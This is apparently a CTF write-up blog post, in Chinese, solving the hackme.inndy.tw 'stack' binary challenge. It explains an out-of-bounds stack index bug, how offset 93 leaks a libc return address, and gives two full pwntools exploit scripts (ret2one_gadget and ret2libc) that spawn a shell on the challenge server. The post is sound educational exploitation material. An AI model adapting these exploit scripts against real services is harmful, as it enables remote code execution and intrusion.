avatar

hackme.inndy.tw stack

idea

保护全开,还挺吓人的orz。然后再看看程序的逻辑吧。

1
2
3
4
5
6
7
carlstar@ubuntu:~/Desktop$ checksec stack 
[*] '/home/carlstar/Desktop/stack'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目给了源代码,是模仿栈的操作,自己实现了 pop 和 push 操作。

关键源代码如下,可以看到在 pop 时是校验了栈道下标的。

1
2
3
4
5
case 'p':
if (s.n > 0) {
printf("Pop -> %d\n", stack_pop(&s));
} else {
printf("Error: stack is empty\n");

程序在 ida 中的反汇编代码如下,可以看到没有对下标做校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 puts("Cmd >>");
while ( __isoc99_scanf("%s", &v7) != -1 )
{
switch ( v7 )
{
case 'c':
v6 = 0;
puts("Stack is cleared");
goto LABEL_9;
case 'f':
puts("flag");
goto LABEL_9;
case 'i':
__isoc99_scanf("%d", &v5);
stack_push(&v6, v5);
printf("Push %d to stack\n", v5);
goto LABEL_9;
case 'p':
v3 = stack_pop(&v6);
printf("Pop -> %d\n", v3);
goto LABEL_9;
case 'x':
puts("Bye");
return 0;
default:
puts("Invalid operation");
LABEL_9:
puts("Cmd >>");
break;
}
}
return 0;

因为没有对下标做校验,那么就有了如下的利用思路。

1、pop一次让 index 为 -1

2、push 93 泄漏 ret 地址

3、push one_gadget get shell

4、或者覆盖返回地址system(‘/binsh\x00’)

来说一下为什么 push 93 就可以泄漏返回地址。这个题比较坑,返回地址不在ebp后面。看一下 main 函数最后怎么返回的,下个断点看看 lea esp,[ecx-0x4] 时的栈情况。

1
2
3
4
5
6
7
8
   0x0000090c <+461>:	lea    esp,[ebp-0xc]
0x0000090f <+464>: pop ecx
0x00000910 <+465>: pop ebx
0x00000911 <+466>: pop edi
0x00000912 <+467>: pop ebp
0x00000913 <+468>: lea esp,[ecx-0x4]
0x00000916 <+471>: ret
End of assembler dump.

stack_pop 反汇编代码,0x56555729会计算索引赋值给 edx

这个索引的值最终会保存在 dword ptr [eax], edx 这个地址

当我们 push 93 时会发送什么呢,会把93写到 0xffffcee8这个地址,也就是现在索引成为了93。返回地址为0xffffd05c,在 push pop 时基准值都是0xffffcee8。

那么计算一下

0xffffd05c - 0xffffcee8 = 0x174

( 0x174 - 0x4 ) / 4 = 5c

在 pop 时会对 index -1 那么最终的值就是 0x5c + 0x1 = 0x5d

exp

ret2one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level='debug'

libc = ELF('./libc-2.23.so.i386')


def pop(target):
target.sendline('p')


def push(target, value):
target.sendline('i ' + value)


def main():
target = remote('hackme.inndy.tw', 7716)
target.recvuntil('Cmd >>')
pop(target)
target.recvuntil('Pop -> -1')
target.recvuntil('Cmd >>')
push(target, '93')
pop(target)
target.recvuntil('Pop -> ')
libc_addr = int(target.recv(10))&0xffffffff
log.info(hex(libc_addr))
one_gadget = 0x5faa5
magic = libc_addr - libc.symbols['__libc_start_main'] - 0xf7 + one_gadget
push(target, str(magic - (1<<32)))
target.recvuntil('Cmd >>')
target.sendline('x')
target.interactive()




if __name__ == '__main__':
main()

ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level='debug'

libc = ELF('./libc-2.23.so.i386')


def pop(target):
target.sendline('p')


def push(target, value):
target.sendline('i ' + value)


def main():
target = remote('hackme.inndy.tw', 7716)
target.recvuntil('Cmd >>')
pop(target)
target.recvuntil('Pop -> -1')
target.recvuntil('Cmd >>')
push(target, '93')
pop(target)
target.recvuntil('Pop -> ')
libc_addr = int(target.recv(10))&0xffffffff
log.info(hex(libc_addr))
libc_base = libc_addr - libc.symbols['__libc_start_main'] - 0xf7
sys_addr = libc_base + libc.symbols['system']
binsh = libc.search('/bin/sh\x00').next() + libc_base
target.recvuntil('Cmd >>')
push(target, str(sys_addr - (1<<32)))
target.recvuntil('Cmd >>')
push(target, '0')
target.recvuntil('Cmd >>')
push(target, str(binsh - (1<<32)))
target.recvuntil('Cmd >>')
target.sendline('x')
target.interactive()




if __name__ == '__main__':
main()

Author: CarlStar
Link: http://yoursite.com/2018/12/03/stack/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment